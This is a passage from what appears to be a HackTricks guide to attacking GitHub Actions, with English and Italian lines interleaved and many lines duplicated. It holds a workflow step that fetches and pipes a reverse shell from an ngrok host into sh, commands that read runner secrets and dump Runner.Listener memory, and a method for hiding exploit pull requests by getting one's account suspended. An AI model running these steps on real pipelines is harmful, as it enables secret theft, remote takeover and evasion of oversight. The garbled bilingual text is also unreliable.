secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile.
- ```bash
cat /home/runner/work/_temp/*
```
- Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente.
- ```bash
ps axe | grep node
```
- Per un **azione personalizzata**, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'**argomento**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Abusare dei runner self-hosted
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-Github** è cercare **`runs-on: self-hosted`** nella configurazione yaml dell'azione Github.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
I runner **self-hosted** potrebbero avere accesso a **informazioni extra sensibili**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se è isolato e distrutto, **più di un'azione potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i segreti** dell'altra.
Nei runner self-hosted è anche possibile ottenere i **segreti dal processo \_Runner.Listener**\_\*\* che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Controlla [**questo post per ulteriori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro delle Immagini Docker di Github
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
È possibile creare azioni di Github che **costruiranno e memorizzeranno un'immagine Docker all'interno di Github**.\
Un esempio può essere trovato nel seguente espandibile:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.
Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
Poi, l'utente potrebbe cercare **segreti trapelati nei livelli dell'immagine Docker:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Informazioni sensibili nei log di Github Actions
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e **evitare di mostrarli**, **altri dati sensibili** che potrebbero essere stati generati nell'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
## Coprire le tue tracce
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non **possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi PR di exploit)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e lì hai, reso invisibile il tuo exploit su github.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso.
## Tools
## Strumenti
The following tools are useful to find Github Action workflows and even find vulnerable ones:
I seguenti strumenti sono utili per trovare flussi di lavoro di Github Action e persino trovare quelli vulnerabili:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}